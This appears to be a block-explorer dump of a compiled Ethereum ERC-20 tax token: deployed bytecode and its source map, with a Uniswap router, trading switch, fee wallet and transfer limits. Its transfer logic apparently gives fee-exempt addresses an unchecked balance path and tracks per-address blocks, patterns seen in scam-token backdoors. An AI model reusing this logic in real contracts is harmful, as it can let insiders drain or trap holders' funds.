6104566012600a61187e565b6104659064174876e80061188c565b905090565b5f610476848484610b48565b6104c784336104c2856040518060600160405280602881526020016119cc602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611298565b610a25565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104f0575f80fd5b305f90815260016020526040902054801561050e5761050e816112d0565b47801561051e5761051e81611440565b5050565b6004546001600160a01b0316336001600160a01b031614610541575f80fd5b4761054b81611440565b50565b5f546001600160a01b031633146105775760405162461bcd60e51b81526004016103af90611736565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e85760405162461bcd60e51b81526004016103af90611736565b6105f46012600a61187e565b6106039064174876e80061188c565b600d556106126012600a61187e565b6106219064174876e80061188c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106516012600a61187e565b6106609064174876e80061188c565b60405190815260200160405180910390a1565b5f61043f338484610b48565b5f546001600160a01b031633146106a85760405162461bcd60e51b81526004016103af90611736565b601254600160a01b900460ff16156107025760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103af565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561074c90309061073d6012600a61187e565b6104c29064174876e80061188c565b436013556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa158015610798573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bc91906118a3565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083f91906118a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610889573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ad91906118a3565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108f4816001600160a01b03165f9081526001602052604090205490565b5f806109075f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096d573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099291906118be565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0b919061176b565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103af565b6001600160a01b038216610ae85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103af565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103af565b6001600160a01b038216610c0e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103af565b5f8111610c6f5760405162461bcd60e51b815260206004820152602960248201527f7472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103af565b5f80546001600160a01b03858116911614801590610c9a57505f546001600160a01b03848116911614155b15610ef357610ccb6064610cc5600954600c5411610cba57600554610cbe565b6007545b8590611477565b906114fc565b6012549091506001600160a01b038581169116148015610cf957506011546001600160a01b03848116911614155b8015610d1d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e0357600d54821115610d745760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103af565b600e5482610d96856001600160a01b03165f9081526001602052604090205490565b610da091906118e9565b1115610dee5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a650000000000000060448201526064016103af565b600c8054905f610dfd836118fc565b91905055505b6012546001600160a01b038481169116148015610e2957506001600160a01b0384163014155b15610e5657610e536064610cc5600a54600c5411610e4957600654610cbe565b6008548590611477565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e8c57506012546001600160a01b038581169116145b8015610ea15750601254600160b01b900460ff165b8015610eae5750600f5481115b8015610ebd5750600b54600c54115b15610ef157610edf610eda84610ed58460105461153d565b61153d565b6112d0565b478015610eef57610eef47611440565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f3057506001600160a01b0383165f9081526003602052604090205460ff165b8015610f4557506001600160a01b0384163014155b8015610f5e57505f546001600160a01b03858116911614155b8015610f7357506001600160a01b0383163014155b15610f7d57436014555b6001600160a01b0384165f9081526003602052604090205460ff168015610fbf5750601354600954600b54610fb291906118e9565b610fbc91906118e9565b43115b15611033576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110259086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff1615801561107357506001600160a01b0383165f9081526003602052604090205460ff16155b15611164576012546001600160a01b03908116908416036110c5576001600160a01b0384165f90815260156020526040902043600182015560145481546110ba9190611914565b600290910155611164565b6001600160a01b0383165f90815260156020526040902080541561110f576001600160a01b0385165f90815260156020526040902080548254111561110957805482555b50611162565b6012546001600160a01b03868116911614611143576001600160a01b0385165f908152601560205260409020548155611162565b600b54600c5410611154574361115f565b61115f436001611551565b81555b505b80156111dc57305f908152600160205260409020546111839082611592565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111d39085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111fe9083611551565b6001600160a01b0385165f908152600160205260409020556112416112238383611551565b6001600160a01b0385165f9081526001602052604090205490611592565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61128a8585611551565b604051908152602001611025565b5f81848411156112bb5760405162461bcd60e51b81526004016103af919061161c565b505f6112c78486611914565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061131657611316611927565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139191906118a3565b816001815181106113a4576113a4611927565b6001600160a01b0392831660209182029290920101526011546113ca9130911684610a25565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114029085905f9086903090429060040161193b565b5f604051808303815f87803b158015611419575f80fd5b505af115801561142b573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561051e573d5f803e3d5ffd5b5f825f0361148657505f610443565b5f611491838561188c565b90508261149e85836119ac565b146114f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103af565b9392505050565b5f6114f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f0565b5f81831161154b57826114f5565b50919050565b5f6114f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611298565b5f8061159e83856118e9565b9050838110156114f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103af565b5f81836116105760405162461bcd60e51b81526004016103af919061161c565b505f6112c784866119ac565b5f602080835283518060208501525f5b818110156116485785810183015185820160400152820161162c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461054b575f80fd5b5f806040838503121561168d575f80fd5b823561169881611668565b946020939093013593505050565b5f805f606084860312156116b8575f80fd5b83356116c381611668565b925060208401356116d381611668565b929592945050506040919091013590565b5f602082840312156116f4575f80fd5b81356114f581611668565b5f8060408385031215611710575f80fd5b823561171b81611668565b9150602083013561172b81611668565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561177b575f80fd5b815180151581146114f5575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d857815f19048211156117be576117be61178a565b808516156117cb57918102915b93841c93908002906117a3565b509250929050565b5f826117ee57506001610443565b816117fa57505f610443565b8160018114611810576002811461181a57611836565b6001915050610443565b60ff84111561182b5761182b61178a565b50506001821b610443565b5060208310610133831016604e8410600b8410161715611859575081810a610443565b611863838361179e565b805f19048211156118765761187661178a565b029392505050565b5f6114f560ff8416836117e0565b80820281158282048414176104435761044361178a565b5f602082840312156118b3575f80fd5b81516114f581611668565b5f805f606084860312156118d0575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156104435761044361178a565b5f6001820161190d5761190d61178a565b5060010190565b818103818111156104435761044361178a565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561198b5784516001600160a01b031683529383019391830191600101611966565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119c657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001ceabd6c4a032fb7008caa297b33a60e1d3a7d6057273c57b86686835a90bf064736f6c63430008170033

Deployed Bytecode Sourcemap

3479:9489:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5512:83;;;;;;;;;;-1:-1:-1;5582:5:0;;;;;;;;;;;-1:-1:-1;;;5582:5:0;;;;5512:83;;;;5582:5;5512:83;:::i;:::-;;;;;;;;11406:154;;;;;;;;;;-1:-1:-1;11406:154:0;;;;;:::i;:::-;;:::i;:::-;;6345:161;;;;;;;;;;-1:-1:-1;6345:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6345:161:0;1023:187:1;4533:54:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4533:54:0;1215:177:1;5789:95:0;;;;;;;;;;;;;:::i;6514:313::-;;;;;;;;;;-1:-1:-1;6514:313:0;;;;;:::i;:::-;;:::i;5698:83::-;;;;;;;;;;-1:-1:-1;5698:83:0;;4260:2;2000:36:1;;1988:2;1973:18;5698:83:0;1858:184:1;12424:347:0;;;;;;;;;;;;;:::i;12779:186::-;;;;;;;;;;;;;:::i;5892:119::-;;;;;;;;;;-1:-1:-1;5892:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5985:18:0;5958:7;5985:18;;;:9;:18;;;;;;;5892:119;2560:148;;;;;;;;;;;;;:::i;11238:160::-;;;;;;;;;;;;;:::i;4339:56::-;;;;;;;;;;;;;;;;2346:79;;;;;;;;;;-1:-1:-1;2384:7:0;2411:6;2346:79;;-1:-1:-1;;;;;2411:6:0;;;2445:51:1;;2433:2;2418:18;2346:79:0;2299:203:1;4402:58:0;;;;;;;;;;;;;;;;6019:167;;;;;;;;;;-1:-1:-1;6019:167:0;;;;;:::i;:::-;;:::i;4467:59::-;;;;;;;;;;;;;;;;11669:710;;;;;;;;;;;;;:::i;6194:143::-;;;;;;;;;;-1:-1:-1;6194:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6302:18:0;;;6275:7;6302:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6194:143;11406:154;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;;;;;;;;;11532:10:::1;::::0;;11503:49:::1;::::0;-1:-1:-1;;;11503:49:0;;-1:-1:-1;;;;;11532:10:0;;::::1;11503:49:::0;;::::1;3443:51:1::0;;;;3510:18;;;3503:34;;;11503:28:0;::::1;::::0;::::1;::::0;3416:18:1;;11503:49:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11406:154:::0;;:::o;6345:161::-;6420:4;6437:39;181:10;6460:7;6469:6;6437:8;:39::i;:::-;-1:-1:-1;6494:4:0;6345:161;;;;;:::o;5789:95::-;5842:7;4319:13;4260:2;4319;:13;:::i;:::-;4304:28;;:12;:28;:::i;:::-;5862:14;;5789:95;:::o;6514:313::-;6612:4;6629:36;6639:6;6647:9;6658:6;6629:9;:36::i;:::-;6676:121;6685:6;181:10;6707:89;6745:6;6707:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6707:19:0;;;;;;:11;:19;;;;;;;;181:10;6707:33;;;;;;;;;;:37;:89::i;:::-;6676:8;:121::i;:::-;-1:-1:-1;6815:4:0;6514:313;;;;;:::o;12424:347::-;12487:10;;-1:-1:-1;;;;;12487:10:0;181;-1:-1:-1;;;;;12473:24:0;;12465:33;;;;;;12548:4;12509:20;5985:18;;;:9;:18;;;;;;12568:14;;12565:73;;12596:30;12613:12;12596:16;:30::i;:::-;12667:21;12702:12;;12699:65;;12728:24;12741:10;12728:12;:24::i;:::-;12454:317;;12424:347::o;12779:186::-;12842:10;;-1:-1:-1;;;;;12842:10:0;181;-1:-1:-1;;;;;12828:24:0;;12820:33;;;;;;12893:21;12925:32;12893:21;12925:12;:32::i;:::-;12809:156;12779:186::o;2560:148::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;2667:1:::1;2651:6:::0;;2630:40:::1;::::0;-1:-1:-1;;;;;2651:6:0;;::::1;::::0;2630:40:::1;::::0;2667:1;;2630:40:::1;2698:1;2681:19:::0;;-1:-1:-1;;;;;;2681:19:0::1;::::0;;2560:148::o;11238:160::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;4319:13:::1;4260:2;4319;:13;:::i;:::-;4304:28;::::0;:12:::1;:28;:::i;:::-;11292:12;:22:::0;4319:13:::1;4260:2;4319;:13;:::i;:::-;4304:28;::::0;:12:::1;:28;:::i;:::-;11325:14;:22:::0;11363:27:::1;4319:13;4260:2;4319;:13;:::i;:::-;4304:28;::::0;:12:::1;:28;:::i;:::-;11363:27;::::0;1361:25:1;;;1349:2;1334:18;11363:27:0::1;;;;;;;11238:160::o:0;6019:167::-;6097:4;6114:42;181:10;6138:9;6149:6;6114:9;:42::i;11669:710::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;11733:11:::1;::::0;-1:-1:-1;;;11733:11:0;::::1;;;11732:12;11724:47;;;::::0;-1:-1:-1;;;11724:47:0;;5714:2:1;11724:47:0::1;::::0;::::1;5696:21:1::0;5753:2;5733:18;;;5726:30;5792:25;5772:18;;;5765:53;5835:18;;11724:47:0::1;5512:347:1::0;11724:47:0::1;11782:15;:80:::0;;-1:-1:-1;;;;;;11782:80:0::1;11819:42;11782:80:::0;;::::1;::::0;;;11873:58:::1;::::0;11890:4:::1;::::0;4319:13:::1;4260:2;4319;:13;:::i;:::-;4304:28;::::0;:12:::1;:28;:::i;11873:58::-;11955:12;11942:10;:25:::0;12012:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;12012:25:0;;;;-1:-1:-1;;;;;12012:15:0;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11994:55:0::1;;12058:4;12065:15;;;;;;;;;-1:-1:-1::0;;;;;12065:15:0::1;-1:-1:-1::0;;;;;12065:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11994:94;::::0;-1:-1:-1;;;;;;11994:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6350:15:1;;;11994:94:0::1;::::0;::::1;6332:34:1::0;6402:15;;6382:18;;;6375:43;6267:18;;11994:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11978:13;:110:::0;;-1:-1:-1;;;;;11978:110:0;;::::1;-1:-1:-1::0;;;;;;11978:110:0;;::::1;;::::0;;12099:15:::1;::::0;::::1;:31;12138:21;12169:4;12175:24;12169:4:::0;-1:-1:-1;;;;;5985:18:0;5958:7;5985:18;;;:9;:18;;;;;;;5892:119;12175:24:::1;12200:1;12202::::0;12204:7:::1;2384::::0;2411:6;-1:-1:-1;;;;;2411:6:0;;2346:79;12204:7:::1;12099:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12099:129:0;;;-1:-1:-1;;;;;6788:15:1;;;12099:129:0::1;::::0;::::1;6770:34:1::0;6820:18;;;6813:34;;;;6863:18;;;6856:34;;;;6906:18;;;6899:34;6970:15;;;6949:19;;;6942:44;12212:15:0::1;7002:19:1::0;;;6995:35;6704:19;;12099:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12246:13:0::1;::::0;12277:15:::1;::::0;12239:71:::1;::::0;-1:-1:-1;;;12239:71:0;;-1:-1:-1;;;;;12277:15:0;;::::1;12239:71;::::0;::::1;3443:51:1::0;-1:-1:-1;;3510:18:1;;;3503:34;12246:13:0;::::1;::::0;-1:-1:-1;12239:29:0::1;::::0;3416:18:1;;12239:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12322:11:0::1;:18:::0;;-1:-1:-1;;;;12352:18:0;-1:-1:-1;;;12352:18:0;;;11669:710::o;6835:335::-;-1:-1:-1;;;;;6928:19:0;;6920:68;;;;-1:-1:-1;;;6920:68:0;;7833:2:1;6920:68:0;;;7815:21:1;7872:2;7852:18;;;7845:30;7911:34;7891:18;;;7884:62;-1:-1:-1;;;7962:18:1;;;7955:34;8006:19;;6920:68:0;7631:400:1;6920:68:0;-1:-1:-1;;;;;7007:21:0;;6999:68;;;;-1:-1:-1;;;6999:68:0;;8238:2:1;6999:68:0;;;8220:21:1;8277:2;8257:18;;;8250:30;8316:34;8296:18;;;8289:62;-1:-1:-1;;;8367:18:1;;;8360:32;8409:19;;6999:68:0;8036:398:1;6999:68:0;-1:-1:-1;;;;;7078:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7130:32;;1361:25:1;;;7130:32:0;;1334:18:1;7130:32:0;;;;;;;6835:335;;;:::o;7178:3453::-;-1:-1:-1;;;;;7266:18:0;;7258:68;;;;-1:-1:-1;;;7258:68:0;;8641:2:1;7258:68:0;;;8623:21:1;8680:2;8660:18;;;8653:30;8719:34;8699:18;;;8692:62;-1:-1:-1;;;8770:18:1;;;8763:35;8815:19;;7258:68:0;8439:401:1;7258:68:0;-1:-1:-1;;;;;7345:16:0;;7337:64;;;;-1:-1:-1;;;7337:64:0;;9047:2:1;7337:64:0;;;9029:21:1;9086:2;9066:18;;;9059:30;9125:34;9105:18;;;9098:62;-1:-1:-1;;;9176:18:1;;;9169:33;9219:19;;7337:64:0;8845:399:1;7337:64:0;7429:1;7420:6;:10;7412:64;;;;-1:-1:-1;;;7412:64:0;;9451:2:1;7412:64:0;;;9433:21:1;9490:2;9470:18;;;9463:30;9529:34;9509:18;;;9502:62;-1:-1:-1;;;9580:18:1;;;9573:39;9629:19;;7412:64:0;9249:405:1;7412:64:0;7487:17;2411:6;;-1:-1:-1;;;;;7521:15:0;;;2411:6;;7521:15;;;;:32;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;7540:13:0;;;2411:6;;7540:13;;7521:32;7517:1177;;;7582:76;7654:3;7582:67;7604:15;;7594:9;;:25;7593:55;;7634:14;;7593:55;;;7621:12;;7593:55;7582:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7687:13;;7570:88;;-1:-1:-1;;;;;;7679:21:0;;;7687:13;;7679:21;:54;;;;-1:-1:-1;7717:15:0;;-1:-1:-1;;;;;7704:29:0;;;7717:15;;7704:29;;7679:54;:82;;;;-1:-1:-1;;;;;;7739:22:0;;;;;;:18;:22;;;;;;;;7737:24;7679:82;7675:311;;;7801:12;;7791:6;:22;;7783:60;;;;-1:-1:-1;;;7783:60:0;;9861:2:1;7783:60:0;;;9843:21:1;9900:2;9880:18;;;9873:30;9939:27;9919:18;;;9912:55;9984:18;;7783:60:0;9659:349:1;7783:60:0;7896:14;;7886:6;7870:13;7880:2;-1:-1:-1;;;;;5985:18:0;5958:7;5985:18;;;:9;:18;;;;;;;5892:119;7870:13;:22;;;;:::i;:::-;:40;;7862:78;;;;-1:-1:-1;;;7862:78:0;;10345:2:1;7862:78:0;;;10327:21:1;10384:2;10364:18;;;10357:30;10423:27;10403:18;;;10396:55;10468:18;;7862:78:0;10143:349:1;7862:78:0;7959:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7675:311;8010:13;;-1:-1:-1;;;;;8005:18:0;;;8010:13;;8005:18;:42;;;;-1:-1:-1;;;;;;8027:20:0;;8042:4;8027:20;;8005:42;8002:173;;;8080:79;8155:3;8080:70;8102:16;;8092:9;;:26;8091:58;;8134:15;;8091:58;;;8120:13;;8080:6;;:10;:70::i;:79::-;8068:91;;8002:173;8240:4;8191:28;5985:18;;;:9;:18;;;;;;8266:6;;-1:-1:-1;;;8266:6:0;;;;8265:7;:30;;;;-1:-1:-1;8282:13:0;;-1:-1:-1;;;;;8276:19:0;;;8282:13;;8276:19;8265:30;:45;;;;-1:-1:-1;8299:11:0;;-1:-1:-1;;;8299:11:0;;;;8265:45;:89;;;;;8337:17;;8314:20;:40;8265:89;:121;;;;;8368:18;;8358:9;;:28;8265:121;8261:422;;;8407:69;8424:51;8428:6;8436:38;8440:20;8462:11;;8436:3;:38::i;:::-;8424:3;:51::i;:::-;8407:16;:69::i;:::-;8524:21;8568:20;;8564:104;;8613:35;8626:21;8613:12;:35::i;:::-;8388:295;8261:422;7555:1139;7517:1177;-1:-1:-1;;;;;8711:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8739:22:0;;;;;;:18;:22;;;;;;;;8711:50;8710:75;;;;-1:-1:-1;;;;;;8766:19:0;;8780:4;8766:19;;8710:75;:92;;;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;8789:13:0;;;2411:6;;8789:13;;8710:92;:113;;;;-1:-1:-1;;;;;;8806:17:0;;8818:4;8806:17;;8710:113;8706:176;;;8858:12;8840:15;:30;8706:176;-1:-1:-1;;;;;8898:24:0;;;;;;:18;:24;;;;;;;;:94;;;;;8981:10;;8963:15;;8942:18;;:36;;;;:::i;:::-;:49;;;;:::i;:::-;8927:12;:64;8898:94;8894:304;;;-1:-1:-1;;;;;9037:15:0;;;;;;;:9;:15;;;;;;:25;;;;;;;9081:13;;;;;;;;;;:24;;;;;;9140:25;;;;;;9056:6;1361:25:1;;1349:2;1334:18;;1215:177;9140:25:0;;;;;;;;9180:7;7178:3453;;;:::o;8894:304::-;-1:-1:-1;;;;;9216:24:0;;;;;;:18;:24;;;;;;;;9214:26;:53;;;;-1:-1:-1;;;;;;9245:22:0;;;;;;:18;:22;;;;;;;;9244:23;9214:53;9210:1067;;;9292:13;;-1:-1:-1;;;;;9292:13:0;;;9288:17;;;;9284:982;;-1:-1:-1;;;;;9363:16:0;;9326:34;9363:16;;;:10;:16;;;;;9417:12;9398:16;;;:31;9490:15;;9471:16;;:34;;9490:15;9471:34;:::i;:::-;9448:20;;;;:57;9284:982;;;-1:-1:-1;;;;;9580:14:0;;9546:31;9580:14;;;:10;:14;;;;;9617:13;;:17;9613:638;;-1:-1:-1;;;;;9696:16:0;;9659:34;9696:16;;;:10;:16;;;;;9755;;9739:13;;:32;9735:121;;;9816:16;;9800:32;;9735:121;9636:239;9613:638;;;9914:13;;-1:-1:-1;;;;;9908:19:0;;;9914:13;;9908:19;9904:328;;-1:-1:-1;;;;;9993:16:0;;9956:34;9993:16;;;:10;:16;;;;;10052;10036:32;;9904:328;;;10151:18;;10141:9;;:28;:67;;10196:12;10141:67;;;10172:21;10173:12;10191:1;10172:18;:21::i;:::-;10125:83;;9904:328;9527:739;9284:982;10292:11;;10289:160;;10360:4;10342:24;;;;:9;:24;;;;;;:39;;10371:9;10342:28;:39::i;:::-;10335:4;10317:24;;;;:9;:24;;;;;;;:64;;;;10399:38;;-1:-1:-1;;;;;10399:38:0;;;;;;;10427:9;1361:25:1;;1349:2;1334:18;;1215:177;10399:38:0;;;;;;;;10289:160;-1:-1:-1;;;;;10475:15:0;;;;;;:9;:15;;;;;;:27;;10495:6;10475:19;:27::i;:::-;-1:-1:-1;;;;;10459:15:0;;;;;;:9;:15;;;;;:43;10527:40;10545:21;:6;10556:9;10545:10;:21::i;:::-;-1:-1:-1;;;;;10527:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10513:13:0;;;;;;;:9;:13;;;;;:54;;;;10583:40;;;10601:21;:6;10612:9;10601:10;:21::i;:::-;10583:40;;1361:25:1;;;1349:2;1334:18;10583:40:0;1215:177:1;1238:190:0;1324:7;1360:12;1352:6;;;;1344:29;;;;-1:-1:-1;;;1344:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1384:9:0;1396:5;1400:1;1396;:5;:::i;:::-;1384:17;1238:190;-1:-1:-1;;;;;1238:190:0:o;10747:483::-;5093:6;:13;;-1:-1:-1;;;;5093:13:0;-1:-1:-1;;;5093:13:0;;;10849:16:::1;::::0;;10863:1:::1;10849:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10849:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10849:16:0::1;10825:40;;10894:4;10876;10881:1;10876:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10876:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10920:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10920:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10876:7;;10920:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10910:4;10915:1;10910:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10910:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10985:15:::1;::::0;10953:62:::1;::::0;10970:4:::1;::::0;10985:15:::1;11003:11:::0;10953:8:::1;:62::i;:::-;11026:15;::::0;:196:::1;::::0;-1:-1:-1;;;11026:196:0;;-1:-1:-1;;;;;11026:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11107:11;;11026:15:::1;::::0;11149:4;;11176::::1;::::0;11196:15:::1;::::0;11026:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5129:6:0;:14;;-1:-1:-1;;;;5129:14:0;;;-1:-1:-1;;;;10747:483:0:o;11568:93::-;11625:10;;:27;;-1:-1:-1;;;;;11625:10:0;;;;:27;;;;;11645:6;;11625:10;:27;:10;:27;11645:6;11625:10;:27;;;;;;;;;;;;;;;;;;;1436:246;1494:7;1518:1;1523;1518:6;1514:47;;-1:-1:-1;1548:1:0;1541:8;;1514:47;1571:9;1583:5;1587:1;1583;:5;:::i;:::-;1571:17;-1:-1:-1;1616:1:0;1607:5;1611:1;1571:17;1607:5;:::i;:::-;:10;1599:56;;;;-1:-1:-1;;;1599:56:0;;12443:2:1;1599:56:0;;;12425:21:1;12482:2;12462:18;;;12455:30;12521:34;12501:18;;;12494:62;-1:-1:-1;;;12572:18:1;;;12565:31;12613:19;;1599:56:0;12241:397:1;1599:56:0;1673:1;1436:246;-1:-1:-1;;;1436:246:0:o;1690:132::-;1748:7;1775:39;1779:1;1782;1775:39;;;;;;;;;;;;;;;;;:3;:39::i;10641:98::-;10698:7;10725:1;10723;:3;10722:9;;10730:1;10722:9;;;-1:-1:-1;10728:1:0;10641:98;-1:-1:-1;10641:98:0:o;1094:136::-;1152:7;1179:43;1183:1;1186;1179:43;;;;;;;;;;;;;;;;;:3;:43::i;907:179::-;965:7;;997:5;1001:1;997;:5;:::i;:::-;985:17;;1026:1;1021;:6;;1013:46;;;;-1:-1:-1;;;1013:46:0;;12845:2:1;1013:46:0;;;12827:21:1;12884:2;12864:18;;;12857:30;12923:29;12903:18;;;12896:57;12970:18;;1013:46:0;12643:351:1;1830:189:0;1916:7;1951:12;1944:5;1936:28;;;;-1:-1:-1;;;1936:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1975:9:0;1987:5;1991:1;1987;:5;:::i;14:548:1:-;126:4;155:2;